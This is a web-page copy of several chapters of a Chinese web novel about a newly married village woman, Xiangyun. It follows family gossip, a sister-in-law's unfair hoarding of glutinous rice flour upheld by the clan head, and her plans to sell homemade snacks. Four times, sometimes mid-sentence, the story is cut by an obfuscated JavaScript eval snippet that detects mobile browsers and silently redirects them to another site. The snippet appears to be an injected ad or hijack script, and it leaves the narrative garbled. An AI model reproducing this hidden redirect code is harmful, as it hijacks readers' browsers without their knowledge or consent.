姜三嫂叹了口气，将一把野蒜放进篮子里：“大概七八年前，那会我才刚进门，就觉得我们家那位三姑娘人生得俊，性子也活络。可是，没想到，就是这活络的性子害了她。” “怎么个害法？” “我们村有个少年男子叫胡彪，人生得很是俊美，村里很多姑娘都对他有情意。可是，这胡家父母挑儿媳妇的眼光却很高。” “那三姑姐，跟这胡彪有什么瓜葛么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147857|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这三姑娘，也是看上了胡彪，也不管什么父母之命媒妁之言，就私下里与他暗通款曲了。” 湘云点了点头。 姜三嫂继续道：“本来，这也不是什么多大的事，只要两家愿意，都是本村的，知根知底，结为夫妻也就罢了。” “是啊，我们村也有这样的夫妻，还不止一对呢！”湘云忙道。 可谁知道，胡家父母硬是看不上三姑娘的品行，说她一个姑娘家不够安分守己。于是就给胡彪另外娶了亲。 “那岂不是把三姑娘撂到半路上去了？” 姜三嫂冷笑道：“是啊！不过，我们家这位三姑奶奶何许人也？怎能吃这样的亏？” 看着姜三嫂的神色，湘云暗想，看来，这三嫂进门以后，跟三姑姐没少闹过姑嫂矛盾。 “然后，就在胡家新娘的花轿进门，两人拜天地的时候，我们家那位好三姑奶奶，硬是闯了人家的礼堂，生生的把新郎官给带走了！” “啊！”湘云大吃一惊，有生以来，她从未听过这样的奇闻。 她忍不住问道：“那新郎官，那胡彪，就真的跟三姐走了？” “是的，抛下了顶着盖头的新娘子，跟着三姑娘走了，这一走，就是几年没回来。” “那后来呢？” “新娘子的娘家不肯善罢甘休，到胡家闹过几次，每次新娘子家一来闹，胡家就到我们老姜家门口骂着要人，乡里乡亲们看着，简直丢尽了我们老姜家祖宗十八代的脸。 姜三嫂说着，索性盘膝坐到了青草地上：“公公气得要死，发誓要把她找回来打死，可是，到处去找，就是找不到那两个人。真到三年前，三姑娘和胡彪一起回来了，还带了两个孩子。那胡彪也是个本事人，在外面做生意发了财，在板桥镇上盖了大房子，又把他父母接过去享福去了。” 怪不得，原来三姑姐就是板桥镇上的大户人家啊！ 湘云这才明白，为什么四郎提到他三姐就生气的原因了。 “那胡彪原来的新娘子呢？”湘云不禁又问。 “另外嫁人了，不过，因为那几年老胡家天天跑到咱们要人，什么难听的话都骂过了，两家也就成了仇家，至今不来往了。”姜三嫂说。 “那三姐回来以后，就没有探望过公公婆婆么？” “休要再提此事了，她不回来，公公的病或许还能好。她这一回来，公公一看见她就生气，拿起床边的拐棍就要打她，结果拐棍还没打到她身上，自己就先咽气了。我家三郎说，他爹就是被她他妹活活气死的，也就是发生那件丑事的那年，公公的身子就不好了。”姜三嫂一口气说完，然后摇了摇头。 湘云听得呆住了。 看来，这三姑奶奶闹出来的事情可真不小，先是让全家颜面扫地，后又活活气死老爹。这下，娘家肯定是不认她的了。 “那后来，她可再回过娘家？” 姜三嫂笑道：“自己的亲娘，亲哥哥，哪有不想认的道理？只是，婆婆和她几个兄弟都恨她，不肯认她罢了。” 12. 糯米面事件 早春的阳光虽然灿烂，却不甚温暖。 湘云站在一个凳子上，手里拿着菜刀，去割那廊檐下挂着的腊肉。 腊肉被阳光晒得冒出许多油珠，却还没有被风干，割起来软乎乎的，正是好吃的时候。 她割了大约有筷子长的那么大一块，然后就回到厨房，拿热水泡了。 又用凉水洗野蒜，还有葱姜红辣椒。 这时候，只听得院门响动，她就知道，必是四郎买米回来了。 她抬起头，果然见四郎背着大半口袋米走了进来。 “今日是和谁一起去拔野蒜的？”四郎一边将米袋放进里间的仓房，一边问湘云。 “三嫂！” 四郎嗯了一声，挽起了袖子：“我来烧火，咱们一起做饭。” 湘云便切菜切肉，淘米煮饭，两口子一边做饭，一边拉家常。 “三嫂和你拔野蒜，可说了什么？” 湘云自然不便将三嫂说的三姑姐的事情如实相告，只说：“闲话家常而已，不曾说什么。” 四郎笑道：“她没有问你糯米面的事情吗？” 湘云一惊，忙问：“你怎么知道此事？你回来的时候遇见三嫂了？” “没有，我只是猜的。”四郎往灶底塞了一把稻草，淡淡地道。 “可是，你怎么会猜得那么准啊？”湘云不解地问。 四郎叹了口气：“这些年，家里多少大大小小的事情，你都不知道而已。你要是像我一样一路看过来了，包你猜得比我还要准。” 湘云不由得认真看了四郎一眼。 在她过去看来，男人是压根就不懂得后院女人那些弯弯绕绕的小心思的。 比如自己的爹，还有自己的两个哥哥，从来就看不懂她娘和嫂子们之间那点心思，自然也看不懂嫂子和自己这位小姑的心思。或许他们不是笨，只是懒得费那个心思而已。 四郎却能做到洞察家中一切，难不成，读书人的心思，都是那么细腻？ 也不对啊，她们村有不少读书的少年，也都粗粗拉拉的，都是书呆子，没见过四郎这么精明的读书人。 包括她那位青梅竹马的恋人罗文。 罗文虽然生得细皮嫩肉像姑娘家，可是，他一向自诩志向高远，是不会去注意到女人的心思的。 想到罗文，湘云不由得甩了甩头。 旧人旧事，还想他做什么？就当他死了吧。 见她不说话了，四郎又说：“等着吧，这两天，你就有好戏要看了。” 湘云抿嘴一笑，将炒好的野蒜腊肉装进一个大瓷盘里，然后，又烧了一锅青菜汤，看着米饭也煮好了，就说：“开饭！” 榆木饭桌上，四郎伸筷夹起一块腊肉，放进嘴里吃了。 腊肉的味道混合着野蒜的清香，再加上咸淡适中，只觉得滋味鲜美无比，果然比菜园子里的蒜苗的味道要香得多。 四郎不由得赞道：“好手艺，娘子，你是可以去开饭馆了！” 湘云微笑道：“可是，咱们没有开饭馆的本钱啊！” 四郎便道：“你不要心焦，咱们家现在的钱足够撑到麦子成熟的时候，今年秋闱，我若能考中秀才，就可以做馆了，到时候，一定要你衣食无忧。” “可是，坐馆了，你就没有时间和精力温书了，我可不能让你的大好前程，就此作废。” 四郎正色道：“既然我巴巴的去你家求娶了你来，自然要养活你，岂能让你倒过来养活我？” 见他这样说，湘云心里不由得一动，她看了丈夫一眼，只见他面容清俊，眼神真挚。 于是就是问：“四郎，你一早就认识我？” 四郎一怔，随即笑道：“问那么多干什么，现在咱们已经成婚，倒是想办法怎么把日子过兴旺了才是正道。” 湘云也就不再追问。 想了一想，她又说：“四郎，不要说什么你养活我，我养活你这样的话。是虽是女子，却也知道，万般皆下品，唯有读书高。家里没有做官的，即便挣得万贯家财，也是守不住的。” 听了她的话，四郎若有所思。 身为读书人，他自然明白这个道理。 一旦考取了举人功名，哪怕不做官，也自有许多做官的同年护着罩着，家里的家财，方能保住。 不说别的，就说那板桥镇上的有钱人家，哪家不是有做官的亲友护着呢。 “要不，我先想办法，做点小生意，你耕种那五亩田地之外，只安心备考秋闱，如何？”湘云问。 “可是，你能做什么小生意呢？”姜四郎皱眉道。 湘云的目光，落在了桌上的那盘野蒜炒肉上，思索道：“要不，从山里这些野味上动动脑筋？” 四郎伸手摸了摸她的头：“快吃饭吧，吃饱了再想，饭菜都凉了呢。” 这时候，院子里突然传来一个声音：“四弟！四弟妹！你们可在家吗？” 四郎笑道：“是我二嫂！” 只见一个身穿灰布夹袍，面黄肌瘦的中年妇人走了进来。 四郎和湘云急忙站起来：“二嫂，可吃饭了不曾？” “我已经吃过了！” 说完，姜二嫂就冲湘云道：“四弟妹，大嫂给了你家几碗糯米面？” 糟糕，这明显是个千年难题，可不好回答呢。 于是，湘云含含糊糊地说：“也没有几碗吧，用小布袋装的，能有几碗呢？” 姜二嫂哼了一声：“那就是说，她分给你家了？” 听了这话，湘云吓了一跳，怎么，听姜二嫂这口气，大嫂难道真的没有分给她？ 看了湘云的神色，姜二嫂登时明白了一切。 她叫道：“岂有此理！四姑奶奶送回娘家的糯米面，说好了我们四家平分，她居然没有给我们家一捧，这也太欺负人了！我——我现在就找她去！” 她人生得瘦弱，声音也微弱，可是，一张脸却气成了铁青色，转头就走。 湘云还楞在那里，没有反应过来。 只听四郎笑道：“怎么样？湘云？我一早就说过吧？这糯米面，肯定后头还有事情。” “那这大嫂，怎么可能真的没分给二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151244|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂糯米面啊？”湘云有些难以置信。 “是啊，肯定是没分。” 湘云又问：“那她干嘛要分给我们和三嫂家呢？” “三嫂泼辣难缠，你是新人，需要拉拢，至于二嫂，是个老实的，所以吧，可分可不分喽！”四郎悠悠地道。 “那，原来该二嫂的那一份，是不是她自己留着了？”湘云的脑子这下终于转过来了。 四郎笑道：“那是自然，没好处的事情，我大嫂可是从来不干的。” “那她这样做，二嫂再老实，也要找她理论吧。”湘云又道。 四郎淡淡地道：“她以为二嫂不会知道，谁没事会去说这个事啊，二嫂家里有个瘫痪在床的娘家妈，日日离不开人，二嫂平日里都成几天不出院门，几天之后，此事就混过去了！” 见湘云没有做声，又道：“二嫂既然知道了，肯定有得闹了。这一闹，大嫂脸上多难看啊！” 四郎笑道：“大嫂可没那么蠢，她既然这么干了，必然后应付后果的后招，不信，你现在去瞧瞧！” 湘云有些难以置信地看着四郎。 四郎笑道：“你现在就去我大嫂家，你就能看到我大嫂是怎么把这件事化险为夷的了——她总有办法化险为夷的了。” 湘云听了，实在好奇，于是决定前去一看究竟。 她出了家门，远远地看见姜二嫂走在前面，于是不远不近地跟着她。 等到姜二嫂推开姜大嫂家门之后过了一小会，她也正好赶到，正来得及观看最精彩的部分。 只听院子里，姜二嫂的声音叫道：“大嫂，你凭什么那么欺负人呢？糯米面又不是你家的！” 湘云推门进去，却见婆婆和姜老大一家子都在院子里站着，姜二嫂气哼哼地。 见她进来了，姜二嫂就说：“四弟妹，你来评评理，你看大嫂做事可地道！糯米面四家都有份，凭什么不分给我！” 湘云看了姜大嫂一眼，只见她脸上毫无愧色，慢悠悠地说：“二弟妹，你先别急呀，你听我慢慢说。” 姜二嫂瞪了她一眼：“你说。” “我呀，原本是想着把糯米面分成四份，一家一份的。可是，昨儿你们家松哥儿来找他哥哥们玩，我就问他，松哥儿啊，你们家可吃糯米面？松哥儿就说，你们都不吃糯米面。正好，我想着婆婆特别爱吃糯米面，就是把你家那份，留给了婆婆，这不过分吧？” “松哥儿不会这样说的，我们家从来没说不吃糯米面。”姜二嫂一听这话，更来气了：“你不给糯米面也就罢了，还撒这样谎！” 姜大嫂道：“我确实没撒谎，松哥儿就是这么说的，你要不信，你回去问问你儿子，我有没有问他，他又是怎么回我的！” 姜二嫂实在气极，就道：“婆婆，你也出来说句话啊！” 姜母就无奈地道：“罢了，罢了，老大媳妇啊，你就把那份糯米面给了老二家，不就是了吗。” 姜大嫂说：“二弟妹，一来，松哥儿这样说了，二来，你明知道婆婆最爱吃糯米面，你难不成这点孝心都没有么？” 13. 糯米面事件（三） 见姜大嫂言之凿凿，姜二嫂一张脸被气成了猪肝色。 她颤声道：“匿了我的糯米面也就罢了，还要拿这顶不孝的大帽子来压我们，太欺负人了，今天，我非得讨回这个公道不可！” 然后，她又转脸问湘云：“四弟妹，你今天都看见了，你说，你来评评这个理！” 评理么…… 湘云心里暗暗嘀咕，这理还用评么？直接上前给姜大嫂两个大嘴巴子！ 就算要不回糯米面，起码下次她不敢再这样欺负人了。 可姜二嫂嘴里反反复复，就是理论，评理！ 这理，谁能光明正大出来给你评呢？ 指望婆婆？婆婆显然是软弱的性子，她又是跟大嫂过活的，跟谁过活，心里肯定要偏向谁多些！ 何况，大嫂口口声声，婆婆爱吃糯米面，这糯米面留下来，是给婆婆吃的。 婆婆除非是特别公道明理之人，才会谴责大嫂，可是，这样的人世上又能有几个呢？ 不说婆婆，就说自己吧，身为妯娌，她也不好公开向着谁吧。 毕竟谁都不是包公啊！ 湘云有些为难地看着这位二嫂，一时说不出话来。 “我说二弟妹啊，你就是太会过日子了。一点小东小西的，你都看得那么重！”姜大郎此时开了口，又开始挑剔起姜二嫂的吝啬来了。 姜二嫂顿了顿脚：“今天，你要是不把糯米面给我，我——我就找族长去！” “说啊！你现在就去找族长去！”姜大嫂毫无惧色，反倒把声音给提高了！ “哎呦，一点小事，还要惊动族长……”姜母忙道。 “婆婆，您别阻拦，就让她找去！”姜大嫂讥笑道。 姜二嫂转身就走。 姜大嫂就说：“弟妹，她刚才是不是去你家了？” 湘云嗯了一声，也不好说什么，想了一想，又说：“大嫂，她看见了我们家柜子里的糯米面。” 姜大嫂点了点头：“我知道，肯定不是你告诉她的，她天天大门不出，二门不迈的，肯定是你三嫂背地里捣鬼了！她就是恨不得我和你二嫂天天骂架才好。” 湘云没有说话，这个话，她没法接。 于是她就说：“大嫂，我是怕你们吵起来，想过来劝劝的，都是一家人，莫要伤了和气。” 姜大嫂冷冷哼了一声：“就凭她？也能掀起什么风浪来？四弟妹，你先别走，坐下来吃吃我昨儿做的红糖糯米糍粑，我就看看，族长来了，还能把我怎么样！” 说完，她就拉了湘云，回到了堂屋。 湘云也实在是好奇，这么明摆着的事情，族长还能怎么处置呢？姜大嫂居然那么胸有成竹？ 于是她点了点头：“早就听四郎说大嫂手艺好，我就尝一尝你的红糖糯米糍粑呗。” 一家人从院子里回到堂屋，围坐在桌前，吃起了红糖糯米糍粑。 姜大嫂的手艺确实很好，糯米糍粑里放了红糖，甜而不腻，吃起来清香满口。 湘云正想夸赞两句，就听见院子里传来一阵脚步声。 随着一声威严的咳嗽，一个六十开外的老者走了进来，后面还跟着姜二嫂。 想必，这位就是姜家的族长了。 姜大郎夫妇一起站了起来：“族长，快来坐下，吃点糍粑。” 族长坐在姜大嫂递过来的一张圆凳上，扫了一眼桌上的那碟子糍粑，就说：“这就是那糯米面做的糍粑吗？” 姜大郎笑着点了点头。 族长又道：“大郎，你弟妹说，大嫂把四姑奶奶给她的糯米面给扣下来了，可有此事？” “族长啊，您听我说，这糯米面，我扣下来，是有缘故的。”姜大嫂急忙道。 族长就问：“什么缘故，你说。” 姜大嫂笑道：“第一，我婆婆最爱吃糯米面做的红糖糍粑，第二么，老二家的松哥儿跟我说，他们家都不吃糯米面。” “你胡说，松儿不可能这样说的！”姜二嫂叫了起来。 族长看了姜大嫂一眼：“大郎媳妇，松哥儿真的这样说过么？” 姜大嫂道：“族长，你可现在就把松哥儿找来问。” 族长听了，点了点头，对姜大郎的大儿子姜河道：“你现在就去把松哥儿找来。” 姜河点了点头，转身而去。 不过片刻功夫，姜河就领着姜松来了。 姜松看起来不过六七岁左右，一脸活泼相。 族长轻声问：“松儿，九爷爷问你一句话，你可要老老实实地说。 姜松点了点，瞪起一对乌溜溜的大眼睛，看着族长。 族长就问：“昨天，你是不是跟你大妈说过，你们家不吃糯米面啊？” “是的，我说过！”姜松清清脆脆地说。 姜二嫂失声道：“松儿，你胡说些什么？谁跟你说我们家的人都不吃糯米面的了？” 姜松看了姜大嫂一眼，正要说话，就见姜大嫂立刻说：“族长，你看，这事不怪我吧？她儿子这样说了，再加上婆婆又那么喜欢吃这糯米糍粑。” 族长嗯了一声：“看来，这是一场误会，二郎媳妇，一点糯米面，我看，就算了吧。” 姜二嫂叫道：“族长，那这糯米面难道就这样给她家了？松儿说的不是真的啊，要是真的，我还来找吗？” 族长脸上露出了不愉之色：“二郎媳妇，糯米面，也是留给你婆婆吃的，你做媳妇的，孝顺一下婆婆又能怎样！” “不是的族长，我平日里对婆婆也很孝顺，只是——”姜二嫂一急，说话就结结巴巴起来。 “好了，不要说了，百善孝为先，此事涉及孝道，莫说一点糯米面，就算是金山银山，你也不该争了！”说完，族长站起身来，径直走了。 只留下姜二嫂呆呆站在原地。 姜大嫂得意洋洋地看了湘云一眼：“四弟妹，走，我带你去园子里看我种的菜。” 说完，她就拉了湘云的手，要去菜园。 “大嫂，不了，我回去还有事情呢！”湘云挣脱了姜大嫂的手，就告辞出来了。 走了一会，她回过头去，看见姜二嫂也牵着儿子的手，向自己家的方向走去，那背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170005|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影，看起来有些落寞。 回到家里，只见四郎正坐在堂屋门前的一把椅子上，手里拿着一卷书，午后的阳光暖暖的照在身上，他看起来很是自在。 不知怎么地，湘云对这份自在有些反感。 见湘云回来了，四郎便道：“怎样？你可看到什么了？” “你猜我看到什么了？”湘云反问。 四郎懒懒一笑：“大嫂赢了呗，我叫你去看，不就是看得大嫂怎么赢的吗？我不老早就说过了吗，大嫂肯定会赢啊！” “可是，你大嫂分明是欺负人啊！”湘云有些激动地叫了起来。 四郎点了点头：“她欺负二嫂，也不是一天两天了！” “你明知道你大嫂在欺负人，你为什么还那么自在地问，自在地谈论这事？”湘云此时看不惯的，就是四郎这副姿态。 四郎依旧淡淡地道：“从小到大见多了，可怜之人必有可恨之处，二嫂但凡立得起来，也不至于被她欺负到现在。你看，她敢欺负三嫂不？” 湘云一愣，这倒是！ “我要没猜错的话，二嫂又要找人评理了，对么？她这回找的是谁？” “找的是族长！” 四郎嘿嘿一笑：“这就是二嫂不明智的地方！族长怎么可能向着她呢！” “我也奇怪，族长为何要偏帮大嫂呢？”湘云忙问。 “大哥大嫂平日里对族长非常大方，做了好菜经常送给族长吃，你说，族长能不向着她们么？族长也只是个平凡人，族长又不是神！”四郎叹息道。 湘云愣住了。 四郎又道：“二哥二嫂平日里过日子，把钱看得太重，对谁都是一毛不拔，结果出了事极少有帮她们的——恐怕，这次连我娘也没为她说话吧。” 湘云点了点头，看来，这姜二嫂平日里确实是太不会做人了。 不过，那姜松为什么会说自己家不吃糯米面呢。 想到这里，湘云就把姜松那一节说给四郎听。 四郎听了皱眉道：“这里有，肯定是有缘故的，想知道的话，问一问姜松就可以了。” “四郎，我实在好奇，大嫂到底用了什么办法，让姜松说出了那样的话。” 四郎卷起书本，敲了敲她的头：“不要好奇了，明儿，我去叫姜松来，教他写字，到时候一问，就问出来了。” 湘云嗯了一声，突然又道：“你大嫂做的红糖糯米糍粑，倒是真的挺好吃。要不，今儿晚上，我也来试着做给你吃？” 四郎摇了摇头：“那是大嫂从娘家那里带过来的绝活，是她的私房菜，你哪里轻易就能做出那个味道，你还是乖乖做你拿手的菜和点心吧。像今儿中午的野蒜炒腊肉，那味道就是非常好呢。” 听了四郎的话，湘云心里不由得一动。 她想起来，自己的娘，也会做一些别致的小菜，和小点心。 像盐水豆，蜜枣糕，荠菜饺子，山里红糕……还真不少。 那些东西，都是她娘从她外婆手里传下来的。 自己要不要从这里头下手，去做些小买卖呢？ 14. 回娘家 第二天一大早，湘云起来，做了两碗手擀面，又用香菜，蒜泥以及胡椒粉和小米辣还有麻油调成了料汁，两口子一口气吃了。 四郎赞道：“娘子，你做面条的手艺也不错，可去镇上开个面摊子。” “面条谁没吃过呢？要卖，就卖些稀罕的吃食。 吃完了，湘云站起来收拾碗筷，突然院子里有个孩童的声音叫了起来：“四叔！” 湘云扭头一看，原来是姜松来了。 四郎就招手道：“松儿！快过来！” 姜松蹦蹦跳跳地跑到了饭桌边：“四叔，你不是说要教我写字的吗？” 四郎点了点头：“等下你四婶收拾完桌子，四叔就教你写。” 姜松点了点头，一双乌亮的大眼睛不停地打量着湘云，估计是对这个新婶婶比较好奇。 “松儿，四叔问你，前天，你大妈到底是怎么问你，你才跟她说，你们家都不吃糯米面的？” 姜松答道：“大妈拿着一个蜜枣问我，你们是吃蜜枣，还是吃糯米面。我想吃蜜枣，就说我们不吃糯米面，吃蜜枣，大妈就把蜜枣塞递给了我。” 听了这话，湘云与四郎不约而同地对望了一眼。 姜松虽然机灵，可到底是个六岁的孩子。 根本不知道这句话里的陷阱！ 怪不得昨天姜松只说了一半，姜大嫂就打断了，急着要族长宣布处理结果。 原来，话是这么来的！ 湘云摇了摇头，叹了口气。 有这样一个大嫂，她觉得自己在姜家以后的日子，估计，不会那么好过。 “娘子，别叹气，你放心，她一时半会，还不会在你头上动土。” “为什么？”湘云好奇地问。 四郎微微一笑，没有作答。 “娘子，天色还早，我先教姜松写几个字，然后，我再陪你一起回娘家。” 两口子昨天就商量好了，今天要回一趟娘家。 湘云点了点头，自去厨房收拾碗筷，清洗灶台。 等她收拾停当，姜松也跟着他四叔练了不少字了。 看着他写的字已经有模有样了，四郎就摸了摸他的头：“好了，今天就学那么多了，我和你四婶有事要出门，你先回家吧。” 姜松点了点头，走了。 两口子换上了新衣裳，就往陆家村赶。 十里左右的路程，不算短。 可是，两个年轻人身强力的，走得也快，走了不到两个时辰，也就到了。 见湘云累得气喘吁吁，四郎叹息道：“要是有一天，能让坐上轿子回娘家，就好了。” 湘云笑道：“不需要轿子，一匹马就可以啦！” “一匹马起码要五十两银子，娘子，这个目标，还是遥不可及啊！”四郎苦笑道。 湘云缓缓道：“放心，会有那一天的。” 两人一路走着，不觉就到了陆家村湘云的家里。 见新姑爷上门了，陆木匠老两口子立刻忙着杀鸡宰鸭，备办午饭。 姜四郎由两位大舅哥陪同，在堂屋里喝茶聊天。路木匠在院子里拔鸡毛鸭毛，湘云则和她娘，她嫂子在厨房里一边切菜，一边说私房话儿。 “怎么样？你嫁过去也有好几天了，姜家的人对你还好吧？”陆老太关切地问。 湘云点了点头：“四郎对我没话说，婆母还是很温和良善的，至于其他人，好不好的，也没那么重要。” 陆大嫂点了点头：“湘云，你说得没错，只要丈夫和婆婆不差，其他人自然不敢对你怎么样。” “就是日子过得清苦了些，娘，我正在思量着怎么找个来钱的门路。” 陆老太听了，脸上就露出了担忧的神色：“我一早就说过，嫁给他，你是要受苦的。云儿啊，要不，娘先给你点钱用用吧。” “娘，不必，我正想法子挣钱呢——娘，你说，我上街卖山里红糕怎样啊？”湘云把切好的白菜一捧捧地玩黄铜盆里捧。 “山里红糕，倒是别致，不过，那个累死累活的，也不过糊个嘴，这个辛苦活计，娘舍不得你做呢。”陆老太有些担忧地道。 陆大嫂也说：“小姑，你看街上那些卖吃食的小商贩，整日风里来雨里去，挣几个辛苦钱，也不见他们吃鱼吃肉，也不见他们手里有闲钱，这行当，怕是过不上什么好日子啊！” 湘云皱眉道：“娘，我是觉得，咱们家的山里红糕实在做得比别人家好吃，若拿出去卖，定然是好生意。” 陆老太就说：“咱们的山里红糕是好吃，可是，四里八乡都是庄户人家，谁家又有闲钱，天天去买这些零嘴吃，除非是大户人家。” 湘云就说：“娘，您说的对，我就是想把这些山里红糕，卖给大户人家的太太小姐们做点心。山里红是野果，对她们来说，恐怕要新鲜些。” “大户人家，人家又不认识你，再说，你能卖给几个大户人家呢！”陆老太不以为然地说。 “娘，那您仔细想一想，我们家的亲戚里，可有在板桥镇的，可有跟大户人家沾亲带故的？” 陆老太仔细想了想：“你别说，还真有一个。” “是谁？”湘云立刻停下了手里的菜刀。 “你表姨妈，也就是我的一个表姐。”陆老太说。 “娘，我有几个表姨妈，可都是在附近几个村子里，从来没听你说过，板桥镇上还有哪个表姨妈啊！”湘云努力回忆着。 “哎！你这个表姨妈，是个苦命人，年轻那会，嫁给板桥镇上一户卖豆腐的人家。谁只刚过门不到一个月，你那表姨夫就得了急病死了。好在她已经有了身孕，生下了一个儿子，好不容易含辛茹苦把儿子养到六岁，儿子又掉进河里淹死了。” “然后呢？”湘云和陆大嫂都问。 “然后，她家小叔子就容不下这个寡嫂，她又不想改嫁，娘家弟媳妇又厉害，容不下她。她实在没办法，就自卖自身，把自己卖到了板桥镇上一个大户人家做老妈子了。”陆老太叹息道。 这身世，真够凄惨的！ 不过，一般的大户人家，还真是喜欢用这养的下人，无牵无挂，正好一心服侍主子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170006|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “娘，那可知道，这表姨妈在哪个大户人家做工？”湘云又问。 “几年前，我在喝喜酒的时候，碰见她一次，听她说，她在板桥镇上王尚书的哥哥家里做工，专管伺候他们家大奶奶茶水的！” 听到这里，湘云的眼睛亮了。 这可真是天助她也！ 茶点茶点，喝茶就要吃点心，肯定是一起管的。 想到这里，湘云又道：“娘，那你跟她的关系如何？” “她是我的亲表姐，小时候天天在一起玩的，虽说出嫁后不再走动，可是那份儿时情意，还是在的。” 湘云兴奋地道：“她叫什么名字？我怎么样才可以找到她？” “你要找她，就到板桥镇上的王府，找大奶奶身边管茶水的陈嬷嬷，就可以了，你去跟她说，你是桃园村翠红的女儿，你爹是陆家村的陆木匠，她就会知道了。” 湘云连连点头。 这时，陆大嫂突然发声了：“小姑，你要卖山里红糕，也要看看时节吧，山里红是秋天才熟的，现在才开春呢！” 她这一说，湘云登时一愣。 对呀！山里红可是秋天才有的野果，自己怎么把这么重要的事情给忘了呢。 这可怎么办，总不能到了秋天再做这个生意吧。 见女儿眉头紧锁，陆老太就道：“这有什么好愁的？你卖点心，也不能专卖一种吧？真想做点心生意，就多做几种，一年四季都有得卖，不就是了。” 她娘这样一说，湘云登时茅塞顿开。 “娘，春天又有些什么果子可以做糕点呢？” “春天有野草莓，那味道可比园子里种的草莓好吃，还有□□果，杨榴，野果多的是，你可以都按照妈教给你的办法做成糕点。” 湘云连连点头，这一说，那可就多了，不光春天，夏天和秋天，山上都有很多野果。那么冬天呢？ 假如到了冬天，又卖什么糕点呢？ 于是她又问：“妈，到了冬天，还有什么好做的糕点呢？” “冬天啊，冬天啥也没有了，你要是一年忙到头的话，冬天倒是可以在家里歇息几个月。”陆老太道。 湘云摇了摇头：“娘，乘着年轻，多挣点，老了才有好日子过啊，我怎么可能歇得起。” “那你可以问问你身边的人，有什么拿手绝活，你可以学一下。”陆老太道。 湘云嗯了一声，突然想起前日姜大嫂做的红糖糯米糍粑，那种酥脆清甜，可真不是一般人做得出来的，姜大嫂人品虽然有些问题，可是这手艺绝对没问题。 要不要去跟她请教一下呢！ 只要自己虚心求教，姜大嫂一定会教她的，这一点，她丝毫都不怀疑。 主意已定，她就转移了话题，絮絮叨叨地和母亲嫂嫂说起家中光景来。 陆老太一一告诉她：“你二嫂有了身孕，现在娘家住着养胎，她娘家妈舍不得她回来。你大哥家的侄儿到了秋天就要上学堂了，到时候家里的开销又大了些，你大哥想去镇上看看有什么长工可以做…… 15. 野草莓糕 回家后的第二天早上，湘云就拎起竹篮，拉着四郎一起，上了杏山，去摘野草莓去了。 此时时令已近阳春，山林间有着淡淡的薄雾，清晨阳光明亮，照在已经变绿的树木花草上，只觉一片耀眼。 这里的人，都把野草莓叫蛇泡泡，生长在草丛间，味道甜中带点酸。湘云小时候可爱吃了，村里的孩子们都爱吃。 两人在草丛里找来找去，一捧一捧地采着，不一会，就采到了半篮子。 四郎就问：“有这半篮子，是不是已经够了？” “这肯定不够，你不知道做这种糕点，有多么的费事，要把果子洗干净，全部碾压成果泥，咱们既然做了，就做够能卖几天的量，现在天气又不冷。”湘云道。 说话间，她看见一条小沟对面，有一大丛红艳艳的野草莓，立刻就要过去。 四郎却一把攥住她的手：“等下，沟里有荆棘，我先把荆棘给扒拉开，然后你再过去，不然会刺到你的。” “那你扒拉这些荆棘，难道就刺不到你了？”湘云见他说得傻气，不由得笑道。 “刺到我不要紧，我皮粗肉厚的，刺到你，那可不行！”四郎认真地道。 这看似漫不经心的话语，却让湘云心里一动。 她不由得问：“四郎，你以前，究竟是怎么认识我的？” 四郎哈哈一笑：“忘了！” 湘云哼了一声，故意装出一幅不高兴的模样。 “娘子，莫问那么多，对你好，就够了！”说完，四郎一弯腰，就去扒拉河沟里的荆棘。 湘云不由得想起以前跟罗文一起在山上游玩的情形。 那时候，山路上也有荆棘，只是，罗文从来想不起来为自己挡在前面扒拉荆棘。自己的衣裙被荆棘划烂了，罗文还取笑自己，根本不会问自己有没有被扎伤。 当初，自己是够傻的。 他从头到尾，其实都很自私，都只顾着自己。 也因为如此，才有了后来的背弃。 “娘子！小生已然为娘子清扫了前方道路，娘子请移步……”四郎笑声朗朗，如这山间的清泉一般令人神清气爽。 湘云的眼角，不由得微微有些湿润。 